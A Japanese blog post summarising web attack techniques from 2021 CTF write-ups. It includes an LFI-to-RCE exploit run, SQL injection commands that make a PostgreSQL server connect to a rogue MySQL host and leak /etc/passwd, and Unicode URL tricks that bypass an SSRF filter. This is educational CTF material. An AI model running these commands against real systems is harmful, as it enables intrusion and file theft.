こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

【2021年】CTF Web問題の攻撃手法まとめ


はじめに

2022年も残り3か月となり今更ではありますが、2021年のCTFイベントで出題されたWeb問題のWriteupを読んで、新しく知った攻撃手法やツールなどをピックアップして紹介します。

なお、2020年まではWriteupがCTFtimeに登録されていない場合にGoogle検索でも探していましたが、今回はそこまで追いかけられていません。 よって、例年よりも読んだWriteupの数が少なくなり紹介数も少なめとなりました。

2020年の記事はこちらです。
graneed.hatenablog.com

2019年の記事はこちらです。
graneed.hatenablog.com

2018年の記事はこちらです。
graneed.hatenablog.com

対象イベント

対象のイベントの条件は以下のとおりです。

  • 2021年1月1日~12月31日までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

読み方、使い方

量が膨大ですが、大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照したり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。

それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。

Remote Code Execution(RCE)

Nginx + PHP-FPM環境でLFIからRCE

phpで実装されたアプリにLFI脆弱性がある場合にRCEまで繋げるテクニックはいくつかありました。 それらテクニックを成立させるには、セッション情報をファイルで保存する設定になっているなど、他の前提条件を満たす必要がありました。

一方、hxp CTF 2021にて非想定解として発見されたこちらの手法は、そういった前提条件が不要でRCEまで繋げることが可能です。

具体的には、Nginx + PHP-FPM環境で実行されているphpのページにHTTPリクエストボディで一定以上のデータ(64bit環境ではデフォルト16K以上)を送信すると、一時ファイルに書き込まれる仕様を利用します。 一時ファイルへの書き込みが発生するサイズ且つ実行したいコードを含むHTTPリクエストを送信しつつ、それと同時にLFIの脆弱性を使用して一時ファイルを読み込むHTTPリクエストを送信することで、任意のコード実行を可能とします。

一時ファイルは/var/lib/nginx/body/配下に格納され、こちらのファイル名を特定するのは困難ですが、 procfs経由で参照することで、[NginxのworkerプロセスのプロセスID] x [ファイルディスクリプタ] の範囲で総当たりすれば特定できます。 なお、PHPでは/proc/[PID]/fd/[FD]を直接includeできないため、/proc/self/fd/[PID]/../../../[PID]/fd/[FD]を経由して参照するテクニックも使用しています。

実際に試してみましょう。まずは環境準備です。 CTFの問題ファイルが公開されていますが、それとは別に作問者から検証用に単純化した環境を構築できるファイルがWriteupのページにて公開されていますので、そちらを使用します。([Download runnable example & exploit]のリンクからtar.gzファイルをダウンロード)

$ docker build -t php-lfi-with-nginx-assistance .
Sending build context to Docker daemon  9.216kB
Step 1/10 : FROM debian:bullseye
 ---> dd8bae8d259f
(snip)

$ docker run -p 1337:80 --rm -it php-lfi-with-nginx-assistance

Exploitコードもtar.gzファイル内に包含されているため、そちらを使用します。

$ python3 pwn.py localhost 1337
[*] cpus: 2; pid_max: 4194304
[*] nginx worker found: 36
[*] nginx worker found: 37
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 36
[+] brute loop restarted: 37
[+] brute loop restarted: 36
[+] brute loop restarted: 37
[!] /proc/self/fd/36/../../../36/fd/23: uid=33(www-data) gid=33(www-data) groups=33(www-data)

idコマンドの実行に成功していることを確認できます。

Writeup

hxp CTF 2021 - includer's revenge & counter
https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

問題ファイル

hxp CTF 2021 - counter
https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/

hxp CTF 2021 - includer's revenge
https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/

mysql_fdwのMySQL Client Attack

攻撃者が立てたMySQLサーバに接続を誘導し、MySQLサーバからクライアント(MySQLサーバへの接続元)にファイル読み取り要求を返すことで、クライアントのファイルを窃取する攻撃手法があります。2019年にも出題されていましたが、そちらはMySQLクライアントの脆弱性を利用するものであり、既に修正されています。 しかし、PostgreSQLサーバからDBLinkでMySQLサーバに接続するためのPostgreSQL用の拡張機能であるmysql_fdwにも同種の脆弱性があり、その脆弱性を使用するとPostgreSQLサーバ(MySQLサーバにとってのクライアント)内のファイルを窃取できます。

前提としてSQLインジェクション脆弱性により任意のSQLを実行可能であること、dblinkとmysql_fdwの拡張機能が導入されていること、PostgreSQLサーバから攻撃者が用意したMySQLを模したサーバに通信が到達できること、を満たす必要があります。

実際に試してみましょう。まずは環境準備です。

問題ファイルをダウンロードしてきてDockerコンテナを起動します。

$ docker-compose up

別ターミナルでファイル読み取り要求を返すMySQLサーバを立てるツールを起動します。

~/Rogue-MySQL-Server$ python RogueSQL.py -f /etc/passwd
Rogue MySQL Server
[+] Target files:
        /etc/passwd
[+] Starting listener on port 3306... Ctrl+C to stop

問題環境のSQLインジェクション脆弱性(今回は、sqlパラメータにセットした文字列がそのままSQLとして実行される)を利用して、 MySQLサーバにDBリンク接続しテーブルにSELECT文を発行するSQLを実行します。

$ curl http://127.0.0.1:60080/ -G --data-urlencode "sql=CREATE SERVER rogueserver FOREIGN DATA WRAPPER mysql_fdw OPTIONS (host 'XXX.XXX.XXX.XXX', port '3306')"

$ curl http://127.0.0.1:60080/ -G --data-urlencode "sql=CREATE USER MAPPING FOR realuser SERVER rogueserver OPTIONS (username 'a', password 'b')"

$ curl http://127.0.0.1:60080/ -G --data-urlencode "sql=CREATE FOREIGN TABLE dummy (t int, n text) SERVER rogueserver OPTIONS (dbname 'db', table_name 'w')"

$ curl http://127.0.0.1:60080/ -G --data-urlencode "sql=SELECT * FROM dummy;"
._.?

最後のSELECT文を発行するタイミングでMySQLサーバに接続があり、/etc/passwdファイルを送るよう要求します。 その後、passwdファイルを窃取できていることを確認できます。

~/Rogue-MySQL-Server$ python RogueSQL.py -f /etc/passwd
Rogue MySQL Server
[+] Target files:
        /etc/passwd
[+] Starting listener on port 3306... Ctrl+C to stop

[+] Data recieved from XXX.XXX.XXX.XXX
[+] Requesting /etc/passwd
[+] File /etc/passwd obtained

~/Rogue-MySQL-Server$ cat ./Downloads/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)

Writeup

RealWorld CTF 2021 - DBaaSadge
https://infosecwriteups.com/dbaasadge-writeup-61ebcdbe4357

問題ファイル

https://github.com/chaitin/Real-World-CTF-3rd-Challenge-Attachments/tree/main/DBaaSadge

ツール

ファイル読み取り要求を返すMySQLサーバを立てるツール
https://github.com/jib1337/Rogue-MySQL-Server

参考

MySQL Client Attackを紹介した2019年のWriteupまとめ記事
https://graneed.hatenablog.com/entry/2019/12/29/115100#MySQL-Client-Attack

Cross-Site Request Forgeries(CSRF)

Cross-site WebSocket hijacking(CSWSH)

一言で説明するとWebSocket接続するアプリを対象としたCSRF攻撃です。 テクニックとしてはそこまで高度なものではありませんが、個人的に初めて聞いた攻撃名であったため紹介します。

ターゲットのアプリがWebSocketの通信確立の際にCSRF対策(トークン確認やOriginヘッダーの確認)をしていない場合、 別のオリジンに配備されたHTMLページからターゲットのWebSocketのエンドポイントに接続することができます。

そこで、被害者のブラウザで攻撃者のHTMLページを開かせることで、 ターゲットのアプリのWebSocketのエンドポイントに意図せず接続させて、 被害者のCookie情報に紐づく権限で任意の通信をさせることができます。

WeCTF 2021のCoin Exchangeという問題では、 仮想通貨の購入および自分のアカウントへ送信するWebSocket通信を行うコードを実装し、 そのページに管理者を誘導することでフラグ入手のノルマとなる金額を入手できました。

Writeup

WeCTF 2021 - Coin Exchange
https://kalinathalie.github.io/web-chall-coin-exchange-wectf2021/

参考

https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking

https://christian-schneider.net/CrossSiteWebSocketHijacking.html

Insecure Deserialization

新しいガジェットチェーンの発見

Javaの安全でないデシリアライゼーションの攻撃で使用するツールといえばysoserialです。
https://github.com/frohoff/ysoserial

しかし、本家ysoserialにあらかじめ備わっていて使用できるペイロードおよびその条件は限られています。なお、ysoserialは多数forkして拡張開発されており、当ブログの2020年のWriteupまとめでもforkしてpayloadを追加したリポジトリをいくつか紹介しました。 https://graneed.hatenablog.com/entry/2021/08/09/115452#%E6%A9%9F%E8%83%BD%E6%8B%A1%E5%BC%B5%E3%81%95%E3%82%8C%E3%81%9Fysoserial%E3%81%AB%E3%82%88%E3%82%8BWebShell%E3%81%AE%E5%8F%96%E5%BE%97

RealWolrdCTF 2021のOld Systemという問題は、 アプリに安全でないデシリアライゼーションの脆弱性があるものの、Java 1.4という古いJavaのバージョンを使用した環境が対象でした。 本家ysoserialには当該バージョンのpayloadがないため、自ら新たなガジェットチェーンを発見してpayloadを作成する必要がありました。

以下に紹介するWriteupでは、CTFの挑戦中にJREソースコードを探索し、Java 1.4で使用可能な新たなpayloadを作成するまでの道のりが説明されています。

Writeup

RealWolrdCTF 2021 - Old System
https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup

問題ファイル

https://github.com/chaitin/Real-World-CTF-3rd-Challenge-Attachments/tree/main/Old%20System

Server-Side Request Forgery(SSRF)

ChromeのDevToolsのデバッグポートに対するSSRF

Chrome--remote-debugging-port=<port>オプションを付けて起動すると、DevToolsプロトコルで通信するデバッグ用のポートがオープンします。 デバッグ用のポートにアクセスすると、任意のURLを新しいタブで開かせたり、更にWebSocketを使用してそのタブで開いたページの情報を収集することができます。

また、PuppeteerはプログラムからChromeを操作するNode.jsのライブラリですが、DevToolsプロトコルを使用して操作します。 そのため、Puppeteerを使用すると必然的にデバッグ用のポートをオープンしてChromeを起動することになります。

PuppeteerでChromeを起動した際のデバッグ用ポート番号がわかっていて、且つ任意のURLをChromeに開かせることが可能であれば、 DevToolsプロトコルChromeを操作するスクリプトを実装したHTMLのページを用意し、そのページをChromeに開かせることで、 攻撃者の端末から直接デバッグ用ポートにアクセスできなくてもChromeの操作が可能となります。

ångstromCTF 2021のWatered Down Watermark as a Serviceは、 任意のURLを入力するとPuppeteerがChromeを起動してそのURLにアクセスしてページの画像を返す機能が実装されており、 上記の方法を使用してChromeからしかアクセスできないフラグファイルを取得する解法を使用して解く問題でした。

外部からはデバッグ用ポート番号がわからないですが、 これもPuppeteerにlocalhostの全ポートを総当たりするスクリプトを実装したHTMLのページを開かせることで、ポート番号を特定しています。

以下Writeupにて、問題ファイル付きで詳しく説明されているので、こちらでの再現手順は省略します。

問題ファイルをダウンロード後の起動手順だけ載せておきます。

$ echo flag{dummy} > flag.txt

$ docker build -t wdwaas .

$ docker run -p 80:21111 wdwaas

Writeup

ångstromCTF 2021 - Watered Down Watermark as a Service
https://github.com/qxxxb/ctf/tree/master/2021/angstrom_ctf/watered_down_watermark

問題ファイル

https://github.com/qxxxb/ctf/blob/master/2021/angstrom_ctf/watered_down_watermark/wdwaas.zip

SSRFによるIstio/Envoyの構成情報の窃取および認可バイパス

SSRFの脆弱性がある場合に、外部からアクセスできないIstio/Envoyの管理インターフェースから構成情報を窃取したり、 Istioのポリシー内のパスの正規化オプション設定のミスを突いて認可バイパスする問題が出題されました。

SSRFでKubernetesの内部API等を攻める問題は過去もありましたが、Istio/Envoyをテーマにした問題は初見でしたので紹介しました。

Writeup

BalsnCTF2021 - proxy
https://gist.github.com/YSc21/f8ff767e5142e1ada639a36293b8ec6f

参考

Istioのパスの正規化オプション設定について
https://istio.io/latest/docs/ops/best-practices/security/#understand-path-normalization-in-authorization-policy

JavaScriptのURLオブジェクトによるURL正規化仕様の利用

Node.jsのhttpモジュールは、URL文字列が渡されるとモジュール内でURLオブジェクトを使用して正規化しています。 その場合、事前にURL文字列の入力チェックをしていても、そのURLと実際にアクセスするURLが異なる場合があります。

Bamboo Fox 2021 CTFのssrfrogdという問題では、 SSRFの脆弱性を突いてネットワーク内部の特定のURLにアクセスするとフラグを入手できる構成でしたが、 URL文字列内で使用できる文字は各文字1回までというチェックをしています。 よって、目的のURLをそのまま入力しても例えばhttp:の時点でtを2回使用しているため弾かれてしまいます。

そこで、正規化前のURLでチェック処理を通過してから、正規化後のURLでリクエストが発行されるように、 正規化後に特定のアルファベットに変換される文字を探索します。

Writeup内に文字列を探索するJavaScriptコードがありましたので転載します。

function findVariants(targetChar) {
    let targetHost = 'fake' + targetChar + '.com';
    for (i = 32; i <= 65535; i++) {
        let candidateChar = String.fromCharCode(i);
        let input = 'http://fake' + candidateChar + '.com';
        try {
            let url = new URL(input);
            if (url.hostname === targetHost) {
                console.log(targetChar, ':', i, candidateChar);
            }
        }
        catch(e) {
        }
    }
}

let domain = 'the.c0o0o0l-fl444g.server.internal';
let domainSet = new Set(domain);
for (c of domainSet) {
    findVariants(c)
}

結果、正規化後にhttp://the.c0o0o0l-fl444g.server.internalになる文字列HTtP:ᵗhe.c0o⁰O₀l-fL4⁴₄g.sErvᵉR。inₜₑʳNaˡを探索できています。

試しにNode.js環境で確認してみましょう。

$ node
Welcome to Node.js v12.22.9.
Type ".help" for more information.
> new URL('HTtP:ᵗhe.c0o⁰O₀l-fL4⁴₄g.sErvᵉR。inₜₑʳNaˡ')
URL {
  href: 'http://the.c0o0o0l-fl444g.server.internal/',
  origin: 'http://the.c0o0o0l-fl444g.server.internal',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'the.c0o0o0l-fl444g.server.internal',
  hostname: 'the.c0o0o0l-fl444g.server.internal',
  port: '',
  pathname: '/',
  search: '',
  searchParams: URLSearchParams {},
  hash: ''
}

確かにhttp://the.c0o0o0l-fl444g.server.internalになっています。

Writeup

Bamboo Fox 2021 CTF - ssrfrog
https://github.com/sambrow/ctf-writeups-2021/tree/master/bamboo-fox/ssrfrog

Side Channel Attack

ReDoS + Busy Event Loopによる情報リーク

ReDoSへの脆弱性がある場合に、Busy Event Loopという攻撃手法と組み合わせることで、ページ内の情報をリークさせることができる手法です。 Busy Event Loopはブラウザ上で時間のかかる処理を実行させてイベントループをブロックし、解除されるまでの時間を計測する手法です。

ターゲットのブラウザで開いているページ上のリークしたい文字列に対して、任意の正規表現のマッチ処理を実行させることができる場合、 リークしたい文字列の一部分にマッチした際に処理遅延が発生する正規表現(ReDoS攻撃に使用するような正規表現)を実行させて、 処理遅延の発生有無を観察することで、クロスオリジンの制約を回避してマッチしたかどうかの情報を得ることができ、 リーク対象の文字列を1文字ずつ取得可能です。

Writeup

justCTF 2020 - Computeration Fixed
https://hackmd.io/@terjanq/justCTF2020-writeups#Computeration-web-14-solves-333-points

参考

https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

クラウド

GCPインスタンスメタデータへのアクセスおよびGCRからDockerイメージ取得

SSRF脆弱性を突いてGCP環境からGCEインスタンスメタデータを窃取し、 更にそのメタデータ内の認証情報を使用してGCRのDockerイメージを取得してフラグを取得する問題が出題されました。

GCP環境でインスタンスメタデータから認証情報を取得する問題は2020年もありましたが、 GCRのDockerイメージ取得につなげる問題は初見でしたので紹介しました。

Writeup

DiceCTF 2021 - Watermark as a Service
https://tlyrs7314.github.io/2021/02/08/DiceCTF2021-Watermark-as-a-Service.html

参考

GCP環境の攻撃手法を紹介した2020年のWriteupまとめ記事
https://graneed.hatenablog.com/entry/2021/08/09/115452#GCP

その他

HTTPリクエストのrequest-targetに絶対パスをセットしてフィルタをバイパス

HTTPリクエストのrequest-line(GET /test.html HTTP/1.1の部分)のrequest-target(/test.htmlの部分)に対して、 特定のパスへのアクセスを禁止するフィルタ処理を実装している場合に、request-targetが/始まりのパスであることを前提としているとバイパスされてしまう可能性があります。 なぜなら、request-targetにはhttp(s)から始まる絶対パスがセットされる可能性があるためです。

Hack.lu CTF 2021のTrading-apiという問題では、/api/priv/*へのアクセスを禁止するために、 request-targetに対して正規表現^\/+api\/+priv\のパターンでチェックする実装をしていましたが、http://から始まるパスをセットすることでバイパスが可能でした。

なお、curlコマンドでは--request-targetオプションを使用することで、任意のURLをrequest-targetにセット可能です。(バージョン7.55.0以降)

$ curl http://example.com/ -vs 2>&1 | head -5
*   Trying 93.184.216.34:80...
* Connected to example.com (93.184.216.34) port 80 (#0)
> GET / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.81.0

$ curl http://example.com/ --request-target http://example.com/ -vs 2>&1 | head -5
*   Trying 93.184.216.34:80...
* Connected to example.com (93.184.216.34) port 80 (#0)
> GET http://example.com/ HTTP/1.1
> Host: example.com
> User-Agent: curl/7.81.0

Writeup

Hack.lu CTF 2021 - Trading-api
https://www.creastery.com/blog/hack.lu-ctf-2021-web-challenges/#trading-api

参考

curlコマンドの--request-targetオプションの説明
https://curl.se/docs/manpage.html#--request-target

最後に

仕事や私事が慌ただしく、2021年は(そして2022年も)開催期間中のCTFイベントに全く参加できていませんでした。

CTFには「自ら挑戦し苦しんだ末に結局解けずに後から歯ぎしりしながらWriteupを読むこと」からしか摂取できない栄養素があります。 この栄養素が、過去問のWriteupを探して読み込む執念や、新しい攻撃手法やアプローチに対する驚きや気付きのアンテナの感度に作用するのですが、 これが不足していたことが昨年までの記事とのボリュームの違い(少なさ)にも表れてしまっているのだろうと思います。

2022年もあと3か月で終わってしまいます。2022年のまとめ記事を出せるかどうかは正直わかりませんが、あまり期待せずにお待ちください。